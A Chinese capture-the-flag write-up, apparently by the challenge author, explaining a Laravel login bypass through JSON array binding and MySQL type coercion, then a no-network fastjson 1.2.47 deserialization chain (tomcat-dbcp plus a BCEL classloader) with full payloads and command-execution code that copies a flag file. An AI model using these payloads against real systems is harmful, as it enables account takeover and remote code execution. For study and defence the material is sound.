那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析

这里通过一道之前的CTF题目分享laravel的一个小tricks,题目是我一年多前出在npointer的。题目比较简单,一共两个考点,一个是laravel登录功能的小tricks,另一个为fastjson的利用。
当时题目中使用的是express,不过其实算是弱类型语言框架一个比较通用的问题,换成了使用更多的laravel为例。

1、Laravel 登录 tricks

-w883

打开题目后,就是一个登陆页面。

1
2
3
4
5
var pwdRegex = new RegExp('(?=.*[0-9])(?=.*[A-Z])(?=.*[a-z])(?=.*[^a-zA-Z0
-9]).{12,30}');
if (!pwdRegex.test(data.password.value)) { $("#msg").text("填写的密码格式不正确,密码中必须包含大小写字母、数字、特殊字符,密码最少12位数!!");
return false;
}

在前端有密码复杂度校验,这个校验主要是为了提示该系统账户不是弱口令不用去爆破,同时经过探测可以发现不存在SQL注入。

-w1787
首先抓个包,通过cookie可以发现后端使用的框架为laravel,并且只有前端校验密码复杂度,后端没有校验密码随意输入也可以登录,判断了账号和密码是否为空。

现在很多系统在接收参数时支持解析多种content-type,框架会根据content-type去解析post包。

-w1321
尝试把Content-Type修改为application/json后提交,提示空参数值,然后把post修改为对应的json内容,{“username”:”aa”,”password”:”aa”}。
-w1625

不再提示空参数值,说明框架是支持APPLICATION/JSON的,解析出了POST包。当弱类型语言框架支持json时,用户很有可能可以控制变量的数据类型(基础数据类型)。

再回到登录功能,实现登录功能通常有两种方法
1、通过username查询出密码,再将提交的密码与查询出的密码对比
2、将username和password同时带入到SQL中,检测是否有查询出数据

假如是场景1,当可以控制数据类型时,控制密码为bool true,如果登录时使用的”==”对比密码即可登录成功。但是这个场景利用成功率不高,通常在登录时后端会对密码hash后再对比,bool true hash后又变成了string,并且需要知道用户名才能够利用,
{"username":"$admin$","password":true}, 构造数据包爆破了一波用户名最后失败。

那么大概率还是场景2,但是在场景2中也没法绕过密码被hash的这个点。

场景2,大概可以猜测出laravel控制器中的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$username = $request->input('username');
$password = $request->input('password');
if(empty($username) || empty($password)){
exit("empty para!");
}
$password = md5($password);
$user = user::where('username', $username)
->where('password', $password)->first();

if($user){
// set session
}else{
exit("Login Faild!");
}

回到laravel中,分析下laravel的代码。在laravel中,通常使用$request->input来接收gpc参数,

1
2
3
4
5
public function input($key = null, $default = null)
{
return data_get(
$this->getInputSource()->all() + $this->query->all(), $key, $default
); }

input中又调用了getInputSource方法,

1
2
3
4
5
6
7
8
protected function getInputSource()
{
if ($this->isJson()) {
return $this->json();
}

return in_array($this->getRealMethod(), ['GET', 'HEAD']) ? $this->query : $this->request;
}

在getInputSource方法中,会判断是否为json请求,如果是json请求就调用对应的json方法来解析参数。

1
2
3
4
public function isJson()
{
return Str::contains($this->header('CONTENT_TYPE'), ['/json', '+json']);
}

通过Content-type来判断是否为json请求,如果content-type中含有/json或+json时即认定为json请求。

1
2
3
4
5
6
7
8
9
10
11
12
public function json($key = null, $default = null)
{
if (! isset($this->json)) {
$this->json = new ParameterBag((array) json_decode($this->getContent(), true));
}

if (is_null($key)) {
return $this->json;
}

return data_get($this->json->all(), $key, $default);
}

在json方法中,也就是用的php自带的json_decode解析参数值(其实在Request::capture方法中,就已经设置好了json)。

密码在md5后,就带入到了where中进行查询。

1
2
3
4
5
6
7
8
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
Omit .......................................................
if (! $value instanceof Expression) {
$this->addBinding($value, 'where');
}
return $this;
}

主要关注参数绑定这一块,

1
2
3
4
5
6
7
8
9
10
11
12
13
public function addBinding($value, $type = 'where')
{
if (! array_key_exists($type, $this->bindings)) {
throw new InvalidArgumentException("Invalid binding type: {$type}.");
}
if (is_array($value)) {
$this->bindings[$type] = array_values(array_merge($this->bindings[$type], $va
lue));
} else {
$this->bindings[$type][] = $value;
}
return $this;
}

在绑定参数时,如果我们传递过来的参数值是数组,那么会调用array_merge将它合并到bindings[‘where’]中,也就是说通过数组我们可以传多个元素到bindings中,刚好通过json可以控制变量为数组类型。

能够传多个元素有什么用呢?

登录的预编译SQL为, select * from users where username = ? and password = ?

存在两个占位符,通过数组控制username为[“a”,”b”],密码为”c”

bindings[‘where’]的值为 array(“a”,”b”,”4a8a08f09d37b73795649038408b5f33”)

1
2
3
4
5
6
7
8
9
public function bindValues($statement, $bindings)
{
foreach ($bindings as $key => $value) {
$statement->bindValue(
is_string($key) ? $key : $key + 1,
$value,
is_int($value) ? PDO::PARAM_INT : PDO::PARAM_STR
); }
}

然后遍历bindings绑定值,SQL中只存在两个占位符,bindings里却有三个元素,这样就会把最后一个元素给挤出SQL中(也就是hash后的密码)。
最后的SQL语句为,select * from users where username = ‘a’ and password = ‘b’
把Hash后的密码挤出SQL后,意味着能控制密码的数据类型了。
能够控制账号密码的数据类型后又有什么作用呢?再回到bindValues中,

1
2
3
4
5
$statement->bindValue(
is_string($key) ? $key : $key + 1,
$value,
is_int($value) ? PDO::PARAM_INT : PDO::PARAM_STR
); }

在bindvalue时,会判断绑定值的数据类型,如果是int那么就会使用PDO::PARAM_INT,也就是SQL中不会加单引号,不过就算不加单引号因为只能是数字也不能SQL注入。

Laravel通常与MySQL搭配,虽然不能SQL注入,但是MySQL存在隐式数据类型转换功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select 'a1' = 0;
+----------+
| 'a1' = 0 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '1a' = 0;
+----------+
| '1a' = 0 |
+----------+
| 0 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '1a' = 1;
+----------+
| '1a' = 1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '12a' = 12;
+------------+
| '12a' = 12 |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)

如果一个字符串与数字对比,字符串会尝试转换为数字后再进行对比,这个转换结果与php的intval类似。
如果字符串以0-9开头,会一直转换直到出现非0-9字符。
如果字符串不以0-9开头,会转换为0。

这里有一个例外就是科学计数,如果字符串是’2e5xxxxx’转换后不是2而是200000.

用户名通常为字符开头,设置为0即可。
密码MD5的合法字符为A-F 0-9, 如果运气比较好密码以A-F开头,也设置为0即可,如果以数字开头就需要进行爆破了。

在PHP中,empty(0)为true, 所以通过username传入array设置密码,同时password传入任意字符串也绕过了empty的限制。

通过JSON控制用户名,
{“username”:[0,0],”password”:”1”}
最后的SQL语句为 select * from users where username = 0 and password = 0

一年前和laravel官方沟通了下这个问题,他们觉得这个还是应该由开发者来验证用户输入的数据类型,所以不准备修复这个问题,后续我就没去关注过了。
-w899

最近在写这篇文章时,又去下载最新版复现了下这个问题,发现已经无法复现了。
去排查了下原因,发现我邮件这人还是发布了一个commit。

https://github.com/laravel/framework/commit/006873df411d28bfd03fea5e7f91a2afe3918498

从v8.23.0起,修复了该问题。

1
2
3
if (! $value instanceof Expression) {
$this->addBinding(is_array($value) ? head($value) : $value, 'where');
}

当绑定值类型是数组时,只会将数组的第一个元素添加到bindings中,无法再将hash后的密码挤出SQL。

v8.24.0起变为了,
$this->addBinding($this->flattenValue($value), 'where');
和23的原理也是一样的。

不过input依然支持JSON,可能在另外一些场景依然存在类似的问题,类似输入卡密充值等功能,依然能够用来爆破卡密。

再回到题目中,
{“username”:[0,0],”password”:”1”}
登录失败,说明密码可能是0-9开头, ​需要爆破一下,在爆破到37时进入了后台

{“username”:[0,37],”password”:”1”}

在后台中也没有什么可玩的功能,唯一可玩的也就检测漏洞这个功能了。

使用该功能时提示权限不足,说明存在多个用户组,需要爆破其他的账户,接着把密码37往下跑就能跑出其他的账户。

-w583

最终在478时跑出了高权限账户,数据库中真实的记录如下

1
2
3
4
5
6
7
8
mysql> select * from users;
+----+----------+----------------------------------+----------------------+-------+
| id | username | password | email | group |
+----+----------+----------------------------------+----------------------+-------+
| 1 | yulegeyu | 478bf953fb3a2235845bd72c8e33a132 | root@yulegeyu.com | admin |
| 2 | xiaoyu | 37ee389fa5c95baee4bd6267910443fa | yulegeyu@foxmail.com | user |
+----+----------+----------------------------------+----------------------+-------+
2 rows in set (0.00 sec)

2、Fastjson 利用

(这一章节是去年写的了,当时用的是express不是laravel,所以其中涉及到了一点点express,不过不影响直接拿来用下)

登录高权限账户后,再次使用检测功能

看起来是一个类似pocsuite的功能,输入网址后可以加载插件检测是否存在该漏洞,抓个包看一下。

调用api检测是否存在该漏洞,根据404页面发现后端使用的Springboot。


同时id参数存在SQL注入,不过是低权限注入没啥用。

看到java+json,就会想到fastjson,虽然springboot默认使用的是jackson,但是很多开发者还是会用httpMessageConvert转换为fastjson使用。

探测下是否使用的fastjson,

1、 提交 {}
返回 “msg”:”请选择漏洞!”,

2、提交 {“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}
返回 Bad Request

可能是因为Contoller接收RequestBody时设置了期望对象。如果Fastjson设置了期望对象,会在反序列之前检测反序列生成对象和期望对象是否有继承关系或类型是否相等,如果无关系则会在反序列之前抛出type not match异常。

3、提交{“c”:{“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}}
返回 “msg”:”请选择漏洞!”

基本可确认是fastjson了,但是Inet6Address是一个全版本都可使用的链,需要用InetAddress才能确定fastjson是否为<48的版本。

4、提交{“c”:{“@type”:”java.net.InetAddress”,”val”:”asd.bayebz.dnslog.cn”}}
返回 Bad Request, 并且无dns请求记录。

无dns请求记录并不能说明目标一定是无漏洞版本,很有可能是目标未配置dns,无网在实际场景中出现频率也很高。所以解析asd.bayebz.dnslog.cn时抛出了UnknownHostException异常,最终返回了Bad Request

5、提交{“c”:{“@type”:”java.net.InetAddress”,”val”:”127.0.0.1”}}
返回正常 “msg”:”请选择漏洞!”,

虽然无dns服务器无法解析域名,但是ip通过InetAdress还是ok的,借此能够验证目标fastjson<1.2.48。

6、提交 {“c”:{“@type”:”xx”}}
返回 Bad Request

说明fastjson >1.2.24。

经过探测可以确认fastjson处于 1.2.24 - 1.2.48之间(实际为1.2.47版本),现在就需要解决fastjson无网利用的问题,大部分利用都还是依靠的jndi注入,无法在当前环境下使用。
Fastjson无网利用基本就那几种,一个一个测就完事。

7、提交 {“x”:{“@type”:”org.apache.tomcat.dbcp.dbcp.BasicDataSource”}}
返回 “msg”:”请选择漏洞!”,

根据返回可知存在tomcat-dbcp,可使用tomcat-dbcp实现无网利用(tomcat lib目录下自带了tomcat-dbcp,所以普通tomcat能够直接使用该利用。不过spring的tomcat里没tomcat-dbcp,一开始准备直接用tomcat的更真实一点,不过后面为了方便还是用了spring手动添加dbcp)

1.2.24版本以前网上的公开利用,可实现任意代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxxx"
}
}
:"ddd"
}

现在需要借助java.lang.Class 将org.apache.tomcat.dbcp.dbcp.BasicDataSource、com.sun.org.apache.bcel.internal.util.ClassLoader加入到缓存中。

修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"xxx":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}, {
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxx"
}
}
:"ddd"
}

不过在1.2.47版本中,提交后无任何反应。
org.apache.tomcat.dbcp.dbcp.BasicDataSource这条利用链的入口是在getter方法 getConnection中,一般来说反序列都是调用setter方法,序列化才会调用getter方法。

在fastjson<=1.2.36版本中,DefaultJSONParser#parseObject中存在这样一个操作,

1
2
3
if (object.getClass() == JSONObject.class) {
key = key == null ? "null" : key.toString();
}

如果反序列类为com.alibaba.fastjson.JSONObject,那么会对json中其他key调用toString()方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return this.toJSONString();
}

public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

toString方法中进行了序列化,进而调用了getter。

在fastjson>1.2.36后,代码发生了变化

1
2
3
if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}

JSONObject不再进行toString操作,所以就没法利用了,不过调用toString方法的地方还有不少,就在原来toString下面几行代码就有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}

Object value;
Map var27;
if (ch == '"') {
.......
map.put(key, value);
} else {
if ((ch < '0' || ch > '9') && ch != '-') {
.......
this.checkMapResolve(object, key.toString());

这里只要满足冒号后面跟的不是双引号,并且非0-9、- 字符就能够触发到toString序列化方法。
所以将:”ddd”修改为:{ 就可以触发到(使用其他调用getter的方法也可以,$.ref、set等)。

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$xxxxx"}}:{}}}

该利用只有在fastjson 1.2.33 - 1.2.47 可利用, 因为com.sun 在fastjson的黑名单中
在fastjson < 33时,checkAutoType方法中,只要在黑名单中就抛出异常。

1
2
3
4
5
6
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

在fastjson >= 33时,就算反序列的类在黑名单中,只要反序列的类在缓存中就不会抛出异常,所以能够利用。

1
2
3
4
5
6
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}

目前已经可以执行任意代码了,不过依然存在一个问题,Springboot + 低权限 + 无DNS不出网+不输出异常信息, 基本只能靠回显来拿到命令执行结果。
Springboot本身做回显是非常简单的,不过因为bcel的利用指定了classloader为com.sun.org.apache.bcel.internal.util.ClassLoader,导致不能直接获取到request、response等。
通过从当前线程的classloader来获取request、response可解决该问题,
Thread.currentThread().getContextClassLoader().loadClass(“javax.servlet.http.HttpServletRequest”), 可以参考此处

第二种获取命令执行结果方法,

可以将命令执行结果写入到WEB目录中,访问文件查看结果。后台给出了WEB目录,这个目录是express的。express写文件需要写到静态文件目录下才能访问到,express静态目录通常使用public目录,所以将结果写入到/home/realweb/public/xxxxx.txt即可。

大概翻一下文件就能够找到flag在springboot web根目录下, 最后生成该class的BCEL

1
2
3
4
5
6
7
8
9
10
class E{
static{
String[] cmd = {"sh","-c","cat /www/realwebapi/flag.txt > /www/realweb/public/yulegeyu.txt"};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}

-w1534

1
<link rel="stylesheet" href="/stylesheets/font-awesome.min.css">

观察express的前端页面,静态目录是直接映射到根目录的,所以直接访问/yulegeyu.txt 即可拿到flag。

如果对express不是很熟悉,还能够使用第三种获取命令执行结果方法。
很明显能够发现目标用nginx做了反代。/ 给了 express, /api 给了springboot, 这时候查一下目标的ip然后访问。

返回了nginx的403,这也是比较常见的场景,不少反代配置都还是在nginx里新建了一个server。如果直接访问ip因为servername不匹配很可能访问到的是默认server,这时候可以尝试将命令执行结果写入到nginx常见的默认目录里,然后用ip访问默认server拿到结果。

1
2
3
4
5
6
7
8
9
10
class E{
static{
String[] cmd = {"sh","-c","cat /www/realwebapi/flag.txt > /var/www/html/yulegeyu.txt"};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}